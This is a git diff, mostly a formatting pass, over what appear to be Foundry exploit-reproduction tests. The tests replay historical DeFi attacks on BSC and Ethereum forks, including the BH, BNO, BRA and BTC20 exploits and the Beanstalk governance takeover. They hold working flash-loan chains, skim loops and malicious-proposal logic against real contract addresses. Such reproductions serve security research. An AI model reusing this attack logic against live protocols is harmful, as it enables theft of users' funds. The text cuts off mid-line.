Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); + Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb); IUnverifiedContract1 private constant UnverifiedContract1 = IUnverifiedContract1(0x8cA7835aa30b025b38A59309DD1479d2F452623a); - Uni_Router_V2 private constant Router = - Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); - address private constant lpToken = - 0xdbC27f2e9a2532b15C848F4Ae408cfE8BeB14959; - address private constant unverifiedContractAddr2 = - 0x5b9dd1De70320B1EA6C8BBebA12bf4e246227999; - address private constant busdt_bh_lp = - 0x2371E4Ad771020CE3D8252f1db3e5559FbA8eeb5; + Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); + address private constant lpToken = 0xdbC27f2e9a2532b15C848F4Ae408cfE8BeB14959; + address private constant unverifiedContractAddr2 = 0x5b9dd1De70320B1EA6C8BBebA12bf4e246227999; + address private constant busdt_bh_lp = 0x2371E4Ad771020CE3D8252f1db3e5559FbA8eeb5; function setUp() public { - vm.createSelectFork("bsc", 32512073); + vm.createSelectFork("bsc", 32_512_073); vm.label(address(BUSDT), "BUSDT"); vm.label(address(BH), "BH"); vm.label(address(DPPOracle1), "DPPOracle1"); @@ -70,92 +57,41 @@ contract ContractTest is Test { deal(address(BUSDT), address(this), 0); emit log_named_decimal_uint( - "Attacker BUSDT balance before attack", - BUSDT.balanceOf(address(this)), - BUSDT.decimals() + "Attacker BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals() ); - emit log_named_decimal_uint( - "Attacker BH balance before attack", - BH.balanceOf(address(this)), - BH.decimals() - ); + emit log_named_decimal_uint("Attacker BH balance before attack", BH.balanceOf(address(this)), BH.decimals()); - DPPOracle1.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle1)), - address(this), - abi.encode(0) - ); + DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), abi.encode(0)); emit log_named_decimal_uint( - "Attacker BUSDT balance after attack", - BUSDT.balanceOf(address(this)), - BUSDT.decimals() + "Attacker BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals() ); - emit log_named_decimal_uint( - "Attacker BH balance after attack", - BH.balanceOf(address(this)), - BH.decimals() - ); + emit log_named_decimal_uint("Attacker BH balance after attack", BH.balanceOf(address(this)), BH.decimals()); } - function DPPFlashLoanCall( - address sender, - uint256 baseAmount, - uint256 quoteAmount, - bytes calldata data - ) external { + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { if (abi.decode(data, (uint256)) == uint256(0)) { - DPPOracle2.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle2)), - address(this), - abi.encode(1) - ); + DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), abi.encode(1)); } else if (abi.decode(data, (uint256)) == uint256(1)) { - DPPOracle3.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle3)), - address(this), - abi.encode(2) - ); + DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), abi.encode(2)); } else if (abi.decode(data, (uint256)) == uint256(2)) { - DPP.flashLoan( - 0, - BUSDT.balanceOf(address(DPP)), - address(this), - abi.encode(3) - ); + DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), abi.encode(3)); } else if (abi.decode(data, (uint256)) == uint256(3)) { - DPPAdvanced.flashLoan( - 0, - BUSDT.balanceOf(address(DPPAdvanced)), - address(this), - abi.encode(4) - ); + DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), abi.encode(4)); } else { WBNB_BUSDT.swap(10_000_000 * 1e18, 0, address(this), abi.encode(0)); } BUSDT.transfer(msg.sender, quoteAmount); } - function pancakeCall( - address sender, - uint256 amount0, - uint256 amount1, - bytes calldata data - ) external { + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { BUSDT_USDC.flash(address(this), 15_000_000 * 1e18, 0, abi.encode(0)); BUSDT.transfer(address(WBNB_BUSDT), amount0 + 60_000 * 1e18); } - function pancakeV3FlashCallback( - uint256 fee0, - uint256 fee1, - bytes calldata data - ) external { + function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external { BUSDT.approve(address(UnverifiedContract1), type(uint256).max); BUSDT.approve(address(Router), type(uint256).max); BH.approve(address(UnverifiedContract1), type(uint256).max); @@ -167,9 +103,8 @@ contract ContractTest is Test { } // Adding liquidity. - (bool success, ) = address(UnverifiedContract1).call( - abi.encodeWithSelector(bytes4(0x33688938), 3_000_000 * 1e18) - ); + (bool success,) = + address(UnverifiedContract1).call(abi.encodeWithSelector(bytes4(0x33688938), 3_000_000 * 1e18)); require(success, "Call to function with selector 0x33688938 fail"); @@ -181,9 +116,7 @@ contract ContractTest is Test { while (i < 10) { uint256 lpAmount = (BH.balanceOf(busdt_bh_lp) * 55) / 100; - (success, ) = address(UnverifiedContract1).call( - abi.encodeWithSelector(bytes4(0x4e290832), lpAmount) - ); + (success,) = address(UnverifiedContract1).call(abi.encodeWithSelector(bytes4(0x4e290832), lpAmount)); require(success, "Call to function with selector 0x4e290832 fail"); ++i; @@ -197,11 +130,7 @@ contract ContractTest is Test { path[0] = address(BUSDT); path[1] = address(BH); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - 22_000_000 * 1e18, - 0, - path, - unverifiedContractAddr2, - block.timestamp + 100 + 22_000_000 * 1e18, 0, path, unverifiedContractAddr2, block.timestamp + 100 ); } } diff --git a/src/test/BIGFI_exp.sol b/src/test/BIGFI_exp.sol index a3f13929..fbc673e6 100644 --- a/src/test/BIGFI_exp.sol +++ b/src/test/BIGFI_exp.sol @@ -42,7 +42,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals() - ); + ); } function executeOperation( diff --git a/src/test/BNO_exp.sol b/src/test/BNO_exp.sol index 2028f433..ab68cc88 100644 --- a/src/test/BNO_exp.sol +++ b/src/test/BNO_exp.sol @@ -26,18 +26,15 @@ interface IPool { contract BNOTest is Test { IERC721 NFT = IERC721(0x8EE0C2709a34E9FDa43f2bD5179FA4c112bEd89A); IERC20 BNO = IERC20(0xa4dBc813F7E1bf5827859e278594B1E0Ec1F710F); - IPancakePair PancakePair = - IPancakePair(0x4B9c234779A3332b74DBaFf57559EC5b4cB078BD); + IPancakePair PancakePair = IPancakePair(0x4B9c234779A3332b74DBaFf57559EC5b4cB078BD); IPool Pool = IPool(0xdCA503449899d5649D32175a255A8835A03E4006); - address private constant attacker = - 0xA6566574eDC60D7B2AdbacEdB71D5142cf2677fB; - address private constant attackerContract = - 0xD138b9a58D3e5f4be1CD5eC90B66310e241C13CD; + address private constant attacker = 0xA6566574eDC60D7B2AdbacEdB71D5142cf2677fB; + address private constant attackerContract = 0xD138b9a58D3e5f4be1CD5eC90B66310e241C13CD; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 30056629); + cheats.createSelectFork("bsc", 30_056_629); cheats.label(address(NFT), "NFT"); cheats.label(address(BNO), "BNO"); cheats.label(address(PancakePair), "PancakePair"); @@ -53,29 +50,15 @@ contract BNOTest is Test { cheats.stopPrank(); emit log_named_decimal_uint( - "Attacker balance of BNO before exploit", - BNO.balanceOf(address(this)), - BNO.decimals() - ); - PancakePair.swap( - 0, - BNO.balanceOf(address(PancakePair)) - 1, - address(this), - hex"00" + "Attacker balance of BNO before exploit", BNO.balanceOf(address(this)), BNO.decimals() ); + PancakePair.swap(0, BNO.balanceOf(address(PancakePair)) - 1, address(this), hex"00"); emit log_named_decimal_uint( - "Attacker balance of BNO after exploit", - BNO.balanceOf(address(this)), - BNO.decimals() + "Attacker balance of BNO after exploit", BNO.balanceOf(address(this)), BNO.decimals() ); } - function pancakeCall( - address _sender, - uint256 _amount0, - uint256 _amount1, - bytes calldata _data - ) external { + function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external { BNO.approve(address(Pool), type(uint256).max); for (uint256 i; i < 100; i++) { callEmergencyWithdraw(); @@ -83,12 +66,7 @@ contract BNOTest is Test { BNO.transfer(address(PancakePair), 296_077 * 1e18); } - function onERC721Received( - address, - address, - uint256, - bytes memory - ) external returns (bytes4) { + function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) { return this.onERC721Received.selector; } diff --git a/src/test/BRA.exp.sol b/src/test/BRA.exp.sol index d15d773e..10e59147 100644 --- a/src/test/BRA.exp.sol +++ b/src/test/BRA.exp.sol @@ -12,7 +12,7 @@ import "./interface.sol"; // Attack Contract : // 0x1fae46b350c4a5f5c397dbf25ad042d3b9a5cb07 // 0x6066435edce9c2772f3f1184b33fc5f7826d03e7 -// Attack Txs : +// Attack Txs : // 0x6759db55a4edec4f6bedb5691fc42cf024be3a1a534ddcc7edd471ef205d4047 (profit 675 WBNB) // 0x4e5b2efa90c62f2b62925ebd7c10c953dc73c710ef06695eac3f36fe0f6b9348 (profit 144 WBNB) // Vulnerable Contract Code : @@ -30,8 +30,9 @@ import "./interface.sol"; contract Attacker is Test { WBNB constant wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); Exploit immutable exploit; + constructor() { - vm.createSelectFork("bsc", 24655771); + vm.createSelectFork("bsc", 24_655_771); exploit = new Exploit(); } @@ -39,7 +40,6 @@ contract Attacker is Test { emit log_named_decimal_uint("[Before Attacks] Attacker WBNB balance", wbnb.balanceOf(address(this)), 18); exploit.go(); emit log_named_decimal_uint("[After Attacks] Attacker WBNB balance", wbnb.balanceOf(address(this)), 18); - } } @@ -52,7 +52,6 @@ contract Exploit is Test { address BRA_USDT_Pair = 0x8F4BA1832611f0c364dE7114bbff92ba676AdF0E; - function go() public { console.log("Step1. Flashloan 1400 WBNB from DODO"); uint256 baseAmount = 1400 * 1e18; @@ -88,14 +87,13 @@ contract Exploit is Test { bra.transfer(BRA_USDT_Pair, sendAmount); console.log("Start Exploit: skim() to earn"); - for(uint i; i < 101; ++i) { + for (uint256 i; i < 101; ++i) { IPancakePair(BRA_USDT_Pair).skim(BRA_USDT_Pair); } uint256 pairBalanceAfter = bra.balanceOf(BRA_USDT_Pair); emit log_named_decimal_uint("[After Exp] Pair contract BRA balance", pairBalanceAfter, 18); - console.log("Swap BRA (profit) to USDT"); address[] memory inputSwapPath = new address[](2); uint256[] memory outputSwapAmounts = new uint256[](2); @@ -186,14 +184,14 @@ interface IDPPAdvanced { bool isOpenTWAP ) external; function initOwner(address newOwner) external; - function querySellBase(address trader, uint256 payBaseAmount) - external - view - returns (uint256 receiveQuoteAmount, uint256 mtFee, uint8 newRState, uint256 newBaseTarget); - function querySellQuote(address trader, uint256 payQuoteAmount) - external - view - returns (uint256 receiveBaseAmount, uint256 mtFee, uint8 newRState, uint256 newQuoteTarget); + function querySellBase( + address trader, + uint256 payBaseAmount + ) external view returns (uint256 receiveQuoteAmount, uint256 mtFee, uint8 newRState, uint256 newBaseTarget); + function querySellQuote( + address trader, + uint256 payQuoteAmount + ) external view returns (uint256 receiveBaseAmount, uint256 mtFee, uint8 newRState, uint256 newQuoteTarget); function ratioSync() external; function reset( address assetTo, @@ -218,4 +216,4 @@ interface IDPPAdvanced { ) external returns (bool); function tunePrice(uint256 newI, uint256 minBaseReserve, uint256 minQuoteReserve) external returns (bool); function version() external pure returns (string memory); -} +} diff --git a/src/test/BTC20_exp.sol b/src/test/BTC20_exp.sol index f8514bf4..b9e4787c 100644 --- a/src/test/BTC20_exp.sol +++ b/src/test/BTC20_exp.sol @@ -28,7 +28,7 @@ contract ContractTest is Test { address[] private addrPath = new address[](2); uint256 Amount_SDEX_BTC20_Pair3 = 76_301_042_059_171_907_852_637; uint256 Amount_BTC20_WETH_Pair3 = 47_676_018_750_296_374_476_872; - uint totalBorrowed = 300 ether; + uint256 totalBorrowed = 300 ether; function setUp() public { vm.createSelectFork("mainnet", 17_949_215 - 1); @@ -43,7 +43,7 @@ contract ContractTest is Test { approveAll(); } - function testExploit() external{ + function testExploit() external { address[] memory tokens = new address[](1); tokens[0] = address(WETH); uint256[] memory amounts = new uint256[](1); @@ -51,8 +51,8 @@ contract ContractTest is Test { bytes memory userData = ""; console.log("Before Start: %d ETH", WETH.balanceOf(address(this))); Balancer.flashLoan(address(this), tokens, amounts, userData); - uint intRes = WETH.balanceOf(address(this))/1 ether; - uint decRes = WETH.balanceOf(address(this)) - intRes * 1e18; + uint256 intRes = WETH.balanceOf(address(this)) / 1 ether; + uint256 decRes = WETH.balanceOf(address(this)) - intRes * 1e18; console.log("Attack Exploit: %s.%s ETH", intRes, decRes); } @@ -71,35 +71,41 @@ contract ContractTest is Test { (addrPath[0], addrPath[1]) = (address(BTC20), address(WETH)); Uni_Router_V3.ExactInputSingleParams memory eisParams = Uni_Router_V3.ExactInputSingleParams({ - tokenIn: address(BTC20), tokenOut: address(SDEX), fee:10_000, recipient: address(this), - deadline: type(uint256).max, amountIn: BTC20.balanceOf(address(this)), amountOutMinimum: 0, - sqrtPriceLimitX96: 0}); + tokenIn: address(BTC20), + tokenOut: address(SDEX), + fee: 10_000, + recipient: address(this), + deadline: type(uint256).max, + amountIn: BTC20.balanceOf(address(this)), + amountOutMinimum: 0, + sqrtPriceLimitX96: 0 + }); uniRouterV3.exactInputSingle(eisParams); - (eisParams.tokenIn, eisParams.tokenOut, eisParams.amountIn) = (address(SDEX), address(WETH), - SDEX.balanceOf(address(this))); + (eisParams.tokenIn, eisParams.tokenOut, eisParams.amountIn) = + (address(SDEX), address(WETH), SDEX.balanceOf(address(this))); uniRouterV3.exactInputSingle(eisParams); } - function uniswapV3FlashCallback(uint256 _amount0, uint256 _amount1, bytes calldata data) external { - uint256 amount = abi.decode(data, (uint256)); + function uniswapV3FlashCallback(uint256 _amount0, uint256 _amount1, bytes calldata data) external { + uint256 amount = abi.decode(data, (uint256)); - if (amount == Amount_SDEX_BTC20_Pair3){ - BTC20_WETH_Pair3.flash(address(this), 0, Amount_BTC20_WETH_Pair3, abi.encode(Amount_BTC20_WETH_Pair3)); - (uint amountOut, uint amountInMax) = (amount + amount/100 + 1, WETH.balanceOf(address(this))); - (addrPath[0], addrPath[1]) = (address(WETH), address(BTC20)); - uniRouter.swapTokensForExactTokens(amountOut, amountInMax, addrPath, address(this), type(uint256).max); - BTC20.transfer(address(SDEX_BTC20_Pair3), amountOut); - }else if(amount == Amount_BTC20_WETH_Pair3){ - uint amountIn = BTC20.balanceOf(address(this)); - (addrPath[0], addrPath[1]) = (address(BTC20), address(WETH)); - uniRouter.swapExactTokensForTokens(amountIn, 0, addrPath, address(this), type(uint256).max); - uint buyAmount = PresaleV4.maxTokensToSell()-PresaleV4.directTotalTokensSold(); - PresaleV4.buyWithEthDynamic{value: totalBorrowed}(buyAmount); - (uint amountOut, uint amountInMax) = (amount + amount/100 + 1, WETH.balanceOf(address(this))); - (addrPath[0], addrPath[1]) = (address(WETH),address(BTC20)); - uniRouter.swapTokensForExactTokens(amountOut, amountInMax, addrPath, address(this), type(uint256).max); - BTC20.transfer(address(BTC20_WETH_Pair3), amountOut); - } + if (amount == Amount_SDEX_BTC20_Pair3) { + BTC20_WETH_Pair3.flash(address(this), 0, Amount_BTC20_WETH_Pair3, abi.encode(Amount_BTC20_WETH_Pair3)); + (uint256 amountOut, uint256 amountInMax) = (amount + amount / 100 + 1, WETH.balanceOf(address(this))); + (addrPath[0], addrPath[1]) = (address(WETH), address(BTC20)); + uniRouter.swapTokensForExactTokens(amountOut, amountInMax, addrPath, address(this), type(uint256).max); + BTC20.transfer(address(SDEX_BTC20_Pair3), amountOut); + } else if (amount == Amount_BTC20_WETH_Pair3) { + uint256 amountIn = BTC20.balanceOf(address(this)); + (addrPath[0], addrPath[1]) = (address(BTC20), address(WETH)); + uniRouter.swapExactTokensForTokens(amountIn, 0, addrPath, address(this), type(uint256).max); + uint256 buyAmount = PresaleV4.maxTokensToSell() - PresaleV4.directTotalTokensSold(); + PresaleV4.buyWithEthDynamic{value: totalBorrowed}(buyAmount); + (uint256 amountOut, uint256 amountInMax) = (amount + amount / 100 + 1, WETH.balanceOf(address(this))); + (addrPath[0], addrPath[1]) = (address(WETH), address(BTC20)); + uniRouter.swapTokensForExactTokens(amountOut, amountInMax, addrPath, address(this), type(uint256).max); + BTC20.transfer(address(BTC20_WETH_Pair3), amountOut); + } } function approveAll() internal { @@ -114,8 +120,10 @@ contract ContractTest is Test { BTC20.approve(address(PresaleV4), type(uint256).max); WETH.approve(address(PresaleV4), type(uint256).max); } - event Received(address, uint); + + event Received(address, uint256); + receive() external payable { emit Received(msg.sender, msg.value); } -} \ No newline at end of file +} diff --git a/src/test/BXH_exp.sol b/src/test/BXH_exp.sol index 726ac619..1acb270d 100644 --- a/src/test/BXH_exp.sol +++ b/src/test/BXH_exp.sol @@ -58,7 +58,7 @@ contract Attacker is Test { "[Start] BXH-USDT Pair USDT Balance is :", usdt.balanceOf(address(0x919964B7f12A742E3D33176D7aF9094EA4152e6f)), 18 - ); + ); usdtwbnbpair.swap(3_178_800_000_000_000_000_000_000, 0, address(this), "0x"); emit log_named_decimal_uint("[Over] Hacker USDT Balance is :", usdt.balanceOf(address(this)), 18); @@ -84,7 +84,7 @@ contract Attacker is Test { "[Flashloan] now bxh contract USDT balance is :", usdt.balanceOf(address(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663)), 18 - ); + ); cheat.startPrank(0x4e77DF7b9cDcECeC4115e59546F3EAcBA095a89f); bxhtokenstaking.deposit(0, 0); @@ -96,7 +96,7 @@ contract Attacker is Test { "[Flashloan] bxh contract USDT Balance is :", usdt.balanceOf(address(0x27539B1DEe647b38e1B987c41C5336b1A8DcE663)), 18 - ); + ); BXH.approve(0x6A1A6B78A57965E8EF8D1C51d92701601FA74F01, type(uint256).max); diff --git a/src/test/BabyDogeCoin02_exp.sol b/src/test/BabyDogeCoin02_exp.sol index 07dd8267..c635bfaa 100644 --- a/src/test/BabyDogeCoin02_exp.sol +++ b/src/test/BabyDogeCoin02_exp.sol @@ -90,7 +90,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); } function init() internal { diff --git a/src/test/BabyDogeCoin_exp.sol b/src/test/BabyDogeCoin_exp.sol index 57826126..6a9d3093 100644 --- a/src/test/BabyDogeCoin_exp.sol +++ b/src/test/BabyDogeCoin_exp.sol @@ -63,7 +63,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); } function executeOperation( diff --git a/src/test/Bancor_exp.sol b/src/test/Bancor_exp.sol index 25c12185..bb81a246 100644 --- a/src/test/Bancor_exp.sol +++ b/src/test/Bancor_exp.sol @@ -35,7 +35,7 @@ contract BancorExploit is DSTest { function testsafeTransfer() public { emit log_named_uint( "Victim XBPToken Allowance to Bancor Contract : ", (XBPToken.allowance(victim, bancorAddress) / 1 ether) - ); + ); emit log_named_uint("[Before Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether); emit log_named_uint("[Before Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether); diff --git a/src/test/Bao_exp.sol b/src/test/Bao_exp.sol index 8de6fd78..8728a89f 100644 --- a/src/test/Bao_exp.sol +++ b/src/test/Bao_exp.sol @@ -94,7 +94,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } function executeOperation( diff --git a/src/test/Beanstalk_exp.sol b/src/test/Beanstalk_exp.sol index b6b0f682..b413484f 100644 --- a/src/test/Beanstalk_exp.sol +++ b/src/test/Beanstalk_exp.sol @@ -6,198 +6,139 @@ import "forge-std/Test.sol"; import "./interface.sol"; contract ContractTest is DSTest { - CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - ILendingPool aavelendingPool = - ILendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); - IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); - IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); - IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); - IERC20 bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db); - IERC20 crvbean = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD); - IERC20 threeCrv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490); - IUniswapV2Router uniswapv2 = - IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); - ICurvePool threeCrvPool = - ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7); - ICurvePool bean3Crv_f = - ICurvePool(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD); - IBeanStalk siloV2Facet = - IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); - IBeanStalk beanstalkgov = - IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); - address maliciousProposal = 0xE5eCF73603D98A0128F05ed30506ac7A663dBb69; - uint32 bip = 18; - - constructor() { - cheat.createSelectFork("mainnet", 14595905); // fork mainnet at block 14595905 - } - - function testExploit() public { - address[] memory path = new address[](2); - path[0] = uniswapv2.WETH(); - path[1] = address(bean); - uniswapv2.swapExactETHForTokens{ value: 75 ether }( - 0, - path, - address(this), - block.timestamp + 120 - ); - emit log_named_uint( - "Initial USDC balancer of attacker", - usdc.balanceOf(address(this)) - ); - - emit log_named_uint( - "After initial ETH -> BEAN swap, Bean balance of attacker:", - bean.balanceOf(address(this)) / 1e6 - ); - bean.approve(address(siloV2Facet), type(uint256).max); - siloV2Facet.depositBeans(bean.balanceOf(address(this))); - emit log_named_uint( - "After BEAN deposit to SiloV2Facet, Bean balance of attacker:", - bean.balanceOf(address(this)) / 1e6 - ); - IBeanStalk.FacetCut[] memory _diamondCut = new IBeanStalk.FacetCut[](0); - bytes memory data = abi.encodeWithSelector(ContractTest.sweep.selector); - //emit log_named_uint("BIP:", bip); - // function propose( - // IDiamondCut.FacetCut[] calldata _diamondCut, - // address _init, - // bytes calldata _calldata, - // uint8 _pauseOrUnpause - // ) - // https://dashboard.tenderly.co/tx/mainnet/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f - beanstalkgov.propose(_diamondCut, address(this), data, 3); - - cheat.warp(block.timestamp + 24 * 60 * 60); //travelling 1 day in the future - - dai.approve(address(aavelendingPool), type(uint256).max); - usdc.approve(address(aavelendingPool), type(uint256).max); - TransferHelper.safeApprove( - address(usdt), - address(aavelendingPool), - type(uint256).max - ); - bean.approve(address(aavelendingPool), type(uint256).max); - dai.approve(address(threeCrvPool), type(uint256).max); - usdc.approve(address(threeCrvPool), type(uint256).max); - TransferHelper.safeApprove( - address(usdt), - address(threeCrvPool), - type(uint256).max - ); - bean.approve(address(siloV2Facet), type(uint256).max); - threeCrv.approve(address(bean3Crv_f), type(uint256).max); - IERC20(address(bean3Crv_f)).approve( - address(siloV2Facet), - type(uint256).max - ); - - - address[] memory assets = new address[](3); - assets[0] = address(dai); - assets[1] = address(usdc); - assets[2] = address(usdt); - - uint256[] memory amounts = new uint256[](3); - amounts[0] = 350_000_000 * 10**dai.decimals(); - amounts[1] = 500_000_000 * 10**usdc.decimals(); - amounts[2] = 150_000_000 * 10**usdt.decimals(); - - uint256[] memory modes = new uint256[](3); - aavelendingPool.flashLoan( - address(this), - assets, - amounts, - modes, - address(this), - new bytes(0), - 0 - ); - emit log_named_uint( - "After Flashloan repay, usdc balance of attacker:", - usdc.balanceOf(address(this)) - ); - usdc.transfer(msg.sender, usdc.balanceOf(address(this))); - } - - function executeOperation( - address[] calldata assets, - uint256[] calldata amounts, - uint256[] calldata premiums, - address initiator, - bytes calldata params - ) external returns (bool) { - emit log_named_uint( - "After deposit, Bean balance of attacker:", - bean.balanceOf(address(this)) / 1e6 - ); // @note redundant log - uint256[3] memory tempAmounts; - tempAmounts[0] = amounts[0]; - tempAmounts[1] = amounts[1]; - tempAmounts[2] = amounts[2]; - threeCrvPool.add_liquidity(tempAmounts, 0); - uint256[2] memory tempAmounts2; - tempAmounts2[0] = 0; - tempAmounts2[1] = threeCrv.balanceOf(address(this)); - bean3Crv_f.add_liquidity(tempAmounts2, 0); - emit log_named_uint( - "After adding 3crv liquidity , bean3Crv_f balance of attacker:", - crvbean.balanceOf(address(this)) - ); - emit log_named_uint( - "After Curvebean3Crv_f balance of attacker:", - IERC20(address(bean3Crv_f)).balanceOf(address(this)) - ); //@note logging balance for same token ? - siloV2Facet.deposit( - address(bean3Crv_f), - IERC20(address(bean3Crv_f)).balanceOf(address(this)) - ); - //beanstalkgov.vote(bip); --> this line not needed, as beanstalkgov.propose() already votes for our bip - beanstalkgov.emergencyCommit(bip); - emit log_named_uint( - "After calling beanstalkgov.emergencyCommit() , bean3Crv_f balance of attacker:", - crvbean.balanceOf(address(this)) - ); - bean3Crv_f.remove_liquidity_one_coin( - IERC20(address(bean3Crv_f)).balanceOf(address(this)), - 1, - 0 - ); - emit log_named_uint( - "After removing liquidity from crvbean pool , bean3Crv_f balance of attacker:", - crvbean.balanceOf(address(this)) - ); - tempAmounts[0] = amounts[0] + premiums[0]; - tempAmounts[1] = amounts[1] + premiums[1]; - tempAmounts[2] = amounts[2] + premiums[2]; - emit log_named_uint("premiums[0]:", premiums[0]); - emit log_named_uint("premiums[1]:", premiums[1]); - emit log_named_uint("premiums[2]:", premiums[2]); - emit log_named_uint("tempAmounts[0]:", tempAmounts[0]); - emit log_named_uint("tempAmounts[1]:", tempAmounts[1]); - emit log_named_uint("tempAmounts[2]:", tempAmounts[2]); - - threeCrvPool.remove_liquidity_imbalance(tempAmounts, type(uint256).max); - threeCrvPool.remove_liquidity_one_coin( - threeCrv.balanceOf(address(this)), - 1, - 0 - ); - - emit log_named_uint( - "After removing 3crv liquidity from 3crv pool, usdc balance of attacker:", - usdc.balanceOf(address(this)) - ); - - return true; - } - - function sweep() external { - IERC20 erc20bean3Crv_f = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD); - erc20bean3Crv_f.transfer( - msg.sender, - erc20bean3Crv_f.balanceOf(address(this)) - ); //Just for verification, so keep other tokens - } + CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + ILendingPool aavelendingPool = ILendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); + IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); + IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); + IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); + IERC20 bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db); + IERC20 crvbean = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD); + IERC20 threeCrv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490); + IUniswapV2Router uniswapv2 = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); + ICurvePool threeCrvPool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7); + ICurvePool bean3Crv_f = ICurvePool(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD); + IBeanStalk siloV2Facet = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); + IBeanStalk beanstalkgov = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); + address maliciousProposal = 0xE5eCF73603D98A0128F05ed30506ac7A663dBb69; + uint32 bip = 18; + + constructor() { + cheat.createSelectFork("mainnet", 14_595_905); // fork mainnet at block 14595905 + } + + function testExploit() public { + address[] memory path = new address[](2); + path[0] = uniswapv2.WETH(); + path[1] = address(bean); + uniswapv2.swapExactETHForTokens{value: 75 ether}(0, path, address(this), block.timestamp + 120); + emit log_named_uint("Initial USDC balancer of attacker", usdc.balanceOf(address(this))); + + emit log_named_uint( + "After initial ETH -> BEAN swap, Bean balance of attacker:", bean.balanceOf(address(this)) / 1e6 + ); + bean.approve(address(siloV2Facet), type(uint256).max); + siloV2Facet.depositBeans(bean.balanceOf(address(this))); + emit log_named_uint( + "After BEAN deposit to SiloV2Facet, Bean balance of attacker:", bean.balanceOf(address(this)) / 1e6 + ); + IBeanStalk.FacetCut[] memory _diamondCut = new IBeanStalk.FacetCut[](0); + bytes memory data = abi.encodeWithSelector(ContractTest.sweep.selector); + //emit log_named_uint("BIP:", bip); + // function propose( + // IDiamondCut.FacetCut[] calldata _diamondCut, + // address _init, + // bytes calldata _calldata, + // uint8 _pauseOrUnpause + // ) + // https://dashboard.tenderly.co/tx/mainnet/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f + beanstalkgov.propose(_diamondCut, address(this), data, 3); + + cheat.warp(block.timestamp + 24 * 60 * 60); //travelling 1 day in the future + + dai.approve(address(aavelendingPool), type(uint256).max); + usdc.approve(address(aavelendingPool), type(uint256).max); + TransferHelper.safeApprove(address(usdt), address(aavelendingPool), type(uint256).max); + bean.approve(address(aavelendingPool), type(uint256).max); + dai.approve(address(threeCrvPool), 